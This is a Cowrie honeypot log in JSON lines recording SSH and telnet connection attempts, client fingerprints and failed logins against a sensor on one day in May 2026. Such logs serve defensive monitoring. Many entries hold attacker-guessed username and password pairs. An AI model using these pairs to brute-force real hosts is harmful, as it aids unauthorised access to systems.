{"eventid":"cowrie.login.failed","username":"root","password":"lol123456","message":"login attempt [root/lol123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:56.857370Z","src_ip":"38.93.206.2","session":"d22bbb820e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:57.914475Z","src_ip":"38.93.206.2","session":"d22bbb820e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58630,"dst_ip":"159.203.135.109","dst_port":22,"session":"00732739322b","protocol":"ssh","message":"New connection: 193.37.70.224:58630 (159.203.135.109:22) [session: 00732739322b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:12.693665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:12.698282Z","src_ip":"193.37.70.224","session":"00732739322b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:12.787096Z","src_ip":"193.37.70.224","session":"00732739322b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodboy","message":"login attempt [root/goodboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:13.056105Z","src_ip":"193.37.70.224","session":"00732739322b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:14.147749Z","src_ip":"193.37.70.224","session":"00732739322b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e89dd22fee7","protocol":"ssh","message":"New connection: 115.135.235.126:45314 (10.17.0.5:22) [session: 2e89dd22fee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:28.530421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:28.534964Z","src_ip":"115.135.235.126","session":"2e89dd22fee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:28.825164Z","src_ip":"115.135.235.126","session":"2e89dd22fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root","message":"login attempt [root1/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:29.973215Z","src_ip":"115.135.235.126","session":"2e89dd22fee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:31.275944Z","src_ip":"115.135.235.126","session":"2e89dd22fee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":46460,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ec998ba03c","protocol":"ssh","message":"New connection: 45.173.103.113:46460 (10.17.0.5:22) [session: 39ec998ba03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:31.413906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:31.419206Z","src_ip":"45.173.103.113","session":"39ec998ba03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:31.521390Z","src_ip":"45.173.103.113","session":"39ec998ba03c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"mypass","message":"login attempt [myuser/mypass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:31.962561Z","src_ip":"45.173.103.113","session":"39ec998ba03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:33.067612Z","src_ip":"45.173.103.113","session":"39ec998ba03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":37892,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d5f2f5506d","protocol":"telnet","message":"New connection: 118.193.45.103:37892 (10.17.0.5:23) [session: 47d5f2f5506d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:42.176885Z"}
{"eventid":"cowrie.session.closed","duration":0.2194831371307373,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:42.396255Z","src_ip":"118.193.45.103","session":"47d5f2f5506d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":38282,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b7673735d9","protocol":"telnet","message":"New connection: 118.193.45.103:38282 (10.17.0.5:23) [session: 78b7673735d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:42.612788Z"}
{"eventid":"cowrie.session.closed","duration":7.78537392616272,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:50.398052Z","src_ip":"118.193.45.103","session":"78b7673735d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":39534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a469928331bc","protocol":"telnet","message":"New connection: 118.193.45.103:39534 (10.17.0.5:23) [session: a469928331bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:50.606285Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":39924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4e8a8790a9c","protocol":"ssh","message":"New connection: 46.19.67.181:39924 (10.17.0.5:22) [session: f4e8a8790a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:55.981995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:55.988412Z","src_ip":"46.19.67.181","session":"f4e8a8790a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:56.103232Z","src_ip":"46.19.67.181","session":"f4e8a8790a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"syed8123442475","message":"login attempt [root/syed8123442475] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:56.446428Z","src_ip":"46.19.67.181","session":"f4e8a8790a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:57.563471Z","src_ip":"46.19.67.181","session":"f4e8a8790a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.789191007614136,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:58.395256Z","src_ip":"118.193.45.103","session":"a469928331bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aab40b28245","protocol":"telnet","message":"New connection: 118.193.45.103:40788 (10.17.0.5:23) [session: 3aab40b28245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:11:58.610866Z"}
{"eventid":"cowrie.session.closed","duration":7.786174774169922,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:06.396949Z","src_ip":"118.193.45.103","session":"3aab40b28245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":41354,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d62f096aacd","protocol":"telnet","message":"New connection: 118.193.45.103:41354 (10.17.0.5:23) [session: 4d62f096aacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:06.610252Z"}
{"eventid":"cowrie.session.closed","duration":0.008222818374633789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:06.618249Z","src_ip":"118.193.45.103","session":"4d62f096aacd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":41420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c17dc964a5","protocol":"telnet","message":"New connection: 118.193.45.103:41420 (10.17.0.5:23) [session: a4c17dc964a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.048070Z"}
{"eventid":"cowrie.session.closed","duration":0.005181074142456055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.053141Z","src_ip":"118.193.45.103","session":"a4c17dc964a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"51526e65cede","protocol":"telnet","message":"New connection: 118.193.45.103:41430 (10.17.0.5:23) [session: 51526e65cede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.485894Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.491065Z","src_ip":"118.193.45.103","session":"51526e65cede","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept: */*","password":"","message":"login attempt [Accept: */*/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.495050Z","src_ip":"118.193.45.103","session":"51526e65cede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.23127484321594238,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.717068Z","src_ip":"118.193.45.103","session":"51526e65cede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":41444,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55d468afac6","protocol":"telnet","message":"New connection: 118.193.45.103:41444 (10.17.0.5:23) [session: c55d468afac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:07.931540Z"}
{"eventid":"cowrie.session.closed","duration":0.22119760513305664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:08.152587Z","src_ip":"118.193.45.103","session":"c55d468afac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.45.103","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35a1bef792a","protocol":"telnet","message":"New connection: 118.193.45.103:41452 (10.17.0.5:23) [session: d35a1bef792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:08.361267Z"}
{"eventid":"cowrie.session.closed","duration":0.21584582328796387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:08.576976Z","src_ip":"118.193.45.103","session":"d35a1bef792a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6fa526b5159","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: b6fa526b5159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:16.677938Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:12:16.790422Z","src_ip":"77.90.185.16","session":"b6fa526b5159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":47294,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e35c572085","protocol":"ssh","message":"New connection: 115.135.235.126:47294 (10.17.0.5:22) [session: 10e35c572085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:06.638546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:06.642661Z","src_ip":"115.135.235.126","session":"10e35c572085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:06.929770Z","src_ip":"115.135.235.126","session":"10e35c572085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49778,"dst_ip":"10.17.0.5","dst_port":22,"session":"282063335a81","protocol":"ssh","message":"New connection: 147.45.197.250:49778 (10.17.0.5:22) [session: 282063335a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:07.790672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:07.795145Z","src_ip":"147.45.197.250","session":"282063335a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:07.887664Z","src_ip":"147.45.197.250","session":"282063335a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iddqdiddqd","message":"login attempt [root/iddqdiddqd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:08.165385Z","src_ip":"147.45.197.250","session":"282063335a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:08.822024Z","src_ip":"115.135.235.126","session":"10e35c572085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:09.260325Z","src_ip":"147.45.197.250","session":"282063335a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:10.123726Z","src_ip":"115.135.235.126","session":"10e35c572085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":52480,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ec1d01e493","protocol":"ssh","message":"New connection: 45.173.103.113:52480 (10.17.0.5:22) [session: 05ec1d01e493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:14.667187Z"}
